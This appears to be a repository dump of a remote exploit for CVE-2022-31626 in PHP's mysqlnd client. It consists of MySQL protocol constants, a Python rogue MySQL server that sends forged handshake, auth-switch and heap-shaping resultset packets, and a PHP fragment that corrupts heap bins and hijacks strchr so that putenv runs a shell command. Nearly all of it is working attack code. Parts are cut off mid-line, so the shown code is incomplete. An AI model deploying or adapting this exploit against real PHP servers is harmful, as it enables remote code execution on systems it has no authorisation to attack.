Moskvin 4 | https://github.com/CFandR-github 5 | ''' 6 | 7 | class FieldFlags: 8 | FIELD_TYPE_DECIMAL = 0x00 9 | FIELD_TYPE_TINY = 0x01 10 | FIELD_TYPE_SHORT = 0x02 11 | FIELD_TYPE_LONG = 0x03 12 | FIELD_TYPE_FLOAT = 0x04 13 | FIELD_TYPE_DOUBLE = 0x05 14 | FIELD_TYPE_NULL = 0x06 15 | FIELD_TYPE_TIMESTAMP = 0x07 16 | FIELD_TYPE_LONGLONG = 0x08 17 | FIELD_TYPE_INT24 = 0x09 18 | FIELD_TYPE_DATE = 0x0a 19 | FIELD_TYPE_TIME = 0x0b 20 | FIELD_TYPE_DATETIME = 0x0c 21 | FIELD_TYPE_YEAR = 0x0d 22 | FIELD_TYPE_NEWDATE = 0x0e 23 | FIELD_TYPE_VARCHAR = 0x0f 24 | FIELD_TYPE_BIT = 0x10 25 | FIELD_TYPE_NEWDECIMAL = 0xf6 26 | FIELD_TYPE_ENUM = 0xf7 27 | FIELD_TYPE_SET = 0xf8 28 | FIELD_TYPE_TINY_BLOB = 0xf9 29 | FIELD_TYPE_MEDIUM_BLOB = 0xfa 30 | FIELD_TYPE_LONG_BLOB = 0xfb 31 | FIELD_TYPE_BLOB = 0xfc 32 | FIELD_TYPE_VAR_STRING = 0xfd 33 | FIELD_TYPE_STRING = 0xfe 34 | FIELD_TYPE_GEOMETRY = 0xff 35 | 36 | class MysqlFlags: 37 | NOT_NULL_FLAG = 0x1 38 | PRI_KEY_FLAG = 0x2 39 | UNIQUE_KEY_FLAG = 0x4 40 | MULTIPLE_KEY_FLAG = 0x8 41 | BLOB_FLAG = 0x10 42 | UNSIGNED_FLAG = 0x20 43 | ZEROFILL_FLAG = 0x40 44 | BINARY_FLAG = 0x80 45 | ENUM_FLAG = 0x100 46 | AUTO_INCREMENT_FLAG = 0x200 47 | TIMESTAMP_FLAG = 0x400 48 | SET_FLAG = 0x800 49 | 50 | class MysqlCollation: 51 | LATIN1_SWEDISH_CI = 0x08 52 | UTF8_GENERAL_CI = 0x21 53 | BINARY = 0x3f -------------------------------------------------------------------------------- /cve_2022_31626_remote_exploit/rogue_sql_server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import struct 4 | import socket 5 | import warnings 6 | import asynchat 7 | import asyncore 8 | 9 | from mysql_constants import * 10 | 11 | ''' 12 | Authors: Daniil Sadyrin (http://twitter.com/cyberguru007), Alexey Moskvin 13 | https://github.com/CFandR-github 14 | ''' 15 | 16 | class Packet: 17 | def __init__(self): 18 | pass 19 | 20 | def pack_1_byte(self, v): 21 | return struct.pack('B', v) 22 | 23 | def pack_2_bytes(self, v): 24 | return struct.pack('BB', v & 0xff, v >> 8) 25 | 26 | def pack_3_bytes(self, v): 27 | return struct.pack('BBB', v & 0xff, (v >> 8) & 0xff, (v >> 16) & 0xff) 28 | 29 | def pack_4_bytes(self, v): 30 | return struct.pack('I', v) 31 | 32 | def pack(self, nested = True): 33 | if hasattr(self, 'get_to_str'): 34 | self.data = self.get_to_str() 35 | else: 36 | raise Exception("Eror") 37 | 38 | if not nested: 39 | r = '' 40 | r += self.pack_3_bytes(len(self.data)) 41 | r += self.pack_1_byte(self.num) 42 | r += self.data 43 | else: 44 | r = self.data 45 | return r 46 | 47 | class LengthEncodedInteger(Packet): 48 | def __init__(self, value): 49 | self.value = value 50 | 51 | def get_to_str(self): 52 | if self.value < 251: 53 | return self.pack_1_byte(self.value) 54 | elif self.value >= 251 and self.value < (1<<16): 55 | return '\xfc' + self.pack_2_bytes(self.value) 56 | elif self.value >= (1<<16) and self.value < (1<<24): 57 | return '\xfd' + self.pack_3_bytes(self.value) 58 | elif self.value >= (1<<24) and self.value < (1<<64): 59 | return '\xfe' + self.pack_4_bytes(self.value) 60 | 61 | class LengthEncodedString(Packet): 62 | def __init__(self, text): 63 | self.text = text 64 | 65 | def get_to_str(self): 66 | r = LengthEncodedInteger(len(self.text)).pack() 67 | r += self.text 68 | return r 69 | 70 | class ColumnDefinition(Packet): 71 | def __init__(self, catalog, schema, table, org_table, name, org_name, charsetnr, length, type_, flags, decimals): 72 | self.catalog = catalog 73 | self.schema = schema 74 | self.table = table 75 | self.org_table = org_table 76 | self.name = name 77 | self.org_name = org_name 78 | self.next_length = 0x0c 79 | self.charsetnr = charsetnr 80 | self.length = length 81 | self.type = type_ 82 | self.flags = flags 83 | self.decimals = decimals 84 | 85 | def get_to_str(self): 86 | r = '' 87 | r += LengthEncodedString(self.catalog).pack() 88 | r += LengthEncodedString(self.schema).pack() 89 | r += LengthEncodedString(self.table).pack() 90 | r += LengthEncodedString(self.org_table).pack() 91 | r += LengthEncodedString(self.name).pack() 92 | r += LengthEncodedString(self.org_name).pack() 93 | r += LengthEncodedInteger(self.next_length).pack() 94 | r += self.pack_2_bytes(self.charsetnr) 95 | r += self.pack_4_bytes(self.length) 96 | r += self.pack_1_byte(self.type) 97 | r += self.pack_2_bytes(self.flags) 98 | r += self.pack_1_byte(self.decimals) 99 | r += '\x00\x00' 100 | return r 101 | 102 | class EOF(Packet): 103 | def __init__(self, more_results = False): 104 | self.EOF = 0xfe 105 | self.warnings = 0 106 | self.server_status = 0x002 | (0x8 if more_results else 0) 107 | 108 | def get_to_str(self): 109 | r = '' 110 | r += self.pack_1_byte(self.EOF) 111 | r += self.pack_2_bytes(self.warnings) 112 | r += self.pack_2_bytes(self.server_status) 113 | return r 114 | 115 | class ResultsetRow(Packet): 116 | def __init__(self, row): 117 | self.row = row 118 | 119 | def get_to_str(self): 120 | return ''.join([LengthEncodedString(v).pack() for v in self.row]) 121 | 122 | class COM_QUERY_RESPONSE(Packet): 123 | def __init__(self, responce): 124 | # ProtocolText::Resultset 125 | self.responce = responce 126 | 127 | def get_to_str(self): 128 | resp_str = '' 129 | total_num = 1 130 | try: 131 | for i, resp in enumerate(self.responce): 132 | self.column_count, self.column_def, self.rows = resp 133 | 134 | r = '' 135 | arr = [] 136 | arr.append(LengthEncodedInteger(self.column_count)) 137 | for c in self.column_def: 138 | arr.append(ColumnDefinition(*c)) 139 | arr.append(EOF()) 140 | for row in self.rows: 141 | arr.append(ResultsetRow(row)) 142 | arr.append(EOF(more_results = (True if i != len(self.responce) - 1 else False))) 143 | 144 | for p in arr: 145 | p.num = total_num 146 | total_num += 1 147 | r += p.pack(nested = False) 148 | resp_str += r 149 | except: 150 | print 'Error on line {}'.format(sys.exc_info()[-1].tb_lineno) 151 | 152 | return resp_str 153 | 154 | class COM_QUIT(Packet): 155 | def __init__(self): 156 | self.cmd = 0x1 157 | 158 | def get_to_str(self): 159 | return self.pack_1_byte(self.cmd) 160 | 161 | class COM_SET_OPTION(Packet): 162 | def __init__(self): 163 | self.com_set_option = 0x1b 164 | self.option_operation = 0 165 | 166 | def get_to_str(self): 167 | return self.pack_1_byte(self.com_set_option) + self.pack_1_byte(self.option_operation) 168 | 169 | class PacketOK(Packet): 170 | def __init__(self): 171 | self.header = 0 172 | self.affected_rows = 0 173 | self.last_insert_id = 0 174 | self.status_flags = 0x2 175 | self.warnings = 0 176 | 177 | def get_to_str(self): 178 | r = '' 179 | r += self.pack_1_byte(self.header) 180 | r += LengthEncodedInteger(self.affected_rows).pack() 181 | r += LengthEncodedInteger(self.last_insert_id).pack() 182 | r += self.pack_2_bytes(self.status_flags) 183 | r += self.pack_2_bytes(self.warnings) 184 | return r 185 | 186 | class AuthSwitch(Packet): 187 | def __init__(self): 188 | self.status = 0xfe 189 | self.auth_method_name = 'mysql_clear_password' 190 | self.auth_method_data = 'abc' 191 | 192 | def get_to_str(self): 193 | r = '' 194 | r += self.pack_1_byte(self.status) 195 | r += self.auth_method_name + '\x00' 196 | r += self.auth_method_data + '\x00' 197 | return r 198 | 199 | class Handshake(Packet): 200 | def __init__(self, protocol_version, server_version, connection_id, auth_plugin_data_part_1, capability_flag_1, character_set, status_flags, capability_flags_2, auth_plugin_data_len, auth_plugin_data_part_2, auth_plugin_name): 201 | self.protocol_version = protocol_version 202 | self.server_version = server_version 203 | self.connection_id = connection_id 204 | self.auth_plugin_data_part_1 = auth_plugin_data_part_1 205 | self.filler = 0 206 | self.capability_flag_1 = capability_flag_1 207 | self.character_set = character_set 208 | self.status_flags = status_flags 209 | self.capability_flags_2 = capability_flags_2 210 | self.auth_plugin_data_len = auth_plugin_data_len 211 | self.auth_plugin_data_part_2 = auth_plugin_data_part_2 212 | self.auth_plugin_name = auth_plugin_name 213 | 214 | def get_to_str(self): 215 | r = '' 216 | r += self.pack_1_byte(self.protocol_version) 217 | r += self.server_version + '\x00' 218 | r += self.pack_4_bytes(self.connection_id) 219 | r += self.auth_plugin_data_part_1 220 | r += self.pack_1_byte(self.filler) 221 | r += self.pack_2_bytes(self.capability_flag_1) 222 | r += self.pack_1_byte(self.character_set) 223 | r += self.pack_2_bytes(self.status_flags) 224 | r += self.pack_2_bytes(self.capability_flags_2) 225 | r += self.pack_1_byte(self.auth_plugin_data_len) 226 | r += '\x00' * 10 227 | r += self.auth_plugin_data_part_2 228 | r += self.pack_1_byte(self.filler) 229 | r += self.auth_plugin_name 230 | r += '\x00' 231 | return r 232 | 233 | class mysql_packet_handler(asynchat.async_chat): 234 | def __init__(self, addr): 235 | asynchat.async_chat.__init__(self, sock=addr[0]) 236 | self.addr = addr[1] 237 | self.ibuffer = [] 238 | self.set_terminator(3) 239 | self.state = 'len' 240 | 241 | plugin_name = 'caching_sha2_password' 242 | plugin_len = len(plugin_name) 243 | 244 | p = Handshake(10, '8.0.23', 27, 'A' * 8, 0xffff, 8, 0x2, 0xcfff, plugin_len, 'B' * 12, plugin_name) 245 | p.num = 0 246 | self.push(p.pack(nested = False)) 247 | 248 | def push(self, data): 249 | print('Pushed: %r', data) 250 | data = str(data) 251 | asynchat.async_chat.push(self, data) 252 | 253 | def collect_incoming_data(self, data): 254 | print('Data recved: %r', data) 255 | self.ibuffer.append(data) 256 | 257 | def found_terminator(self): 258 | data = "".join(self.ibuffer) 259 | self.ibuffer = [] 260 | 261 | if self.state == 'len': 262 | len_bytes = ord(data[0]) + (ord(data[1]) << 8) + (ord(data[2]) << 16) + 1 263 | self.set_terminator(len_bytes) 264 | self.state = 'data' 265 | elif self.state == 'data': 266 | packet_num = ord(data[0]) 267 | payload = data[1:] 268 | self.set_terminator(3) 269 | self.state = 'len' 270 | #print response 271 | print(repr(payload)) 272 | print('done') 273 | 274 | if ord(payload[0]) == 0x8d or ord(payload[0]) == 0x85: 275 | #switch auth packet 276 | p2 = AuthSwitch() 277 | p2.num = 2 278 | self.push(p2.pack(nested = False)) 279 | 280 | elif payload.find('vvvvvvvvvvvvvv\x00') != -1: 281 | print('okay!!') 282 | p = PacketOK() 283 | p.num = 4 284 | self.push(p.pack(nested = False)) 285 | 286 | elif ord(payload[0]) == 0x03: 287 | #select packet 288 | need_memleak = 0 289 | 290 | if need_memleak: 291 | 292 | column_defs = [ 293 | ('def', 'test', 'a', "b", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0), 294 | ('def', 'test', 'a', "b", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0), 295 | ('def', 'test', 'a', "b", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0), 296 | ('def', 'test', 'a', "b", 'c', 'd', MysqlCollation.BINARY, 1000, FieldFlags.FIELD_TYPE_VAR_STRING, 0, 0), 297 | ] 298 | str_len = 160 - 25 - 10 299 | pad,gc,h,newlen = 0x51515151, 0x10, 0, 0x500 300 | zend_string = struct.pack(' overlap 52 | 53 | // fill $arr[8] via overlap.bin file 54 | // generate_overlap.py creates overlap.bin 55 | $arr[8] = file_get_contents('/tmp/overlap.bin'); //overlap chunk 2 -- overwrite bin 26 ptrs 56 | 57 | var_dump(''); //breakpoint stop ---> we can see memory overlapped chunks 58 | 59 | //get memory from overlapped bin 26 and return ptr on strchr 60 | $arr[333] = str_repeat('S', 1792 - 100 - 8); 61 | $arr[333 + 1] = $str. $arr[333]; 62 | 63 | putenv('ls -lia'); // putenv calls strchr@plt ---> execute commands 64 | 65 | ?> --------------------------------------------------------------------------------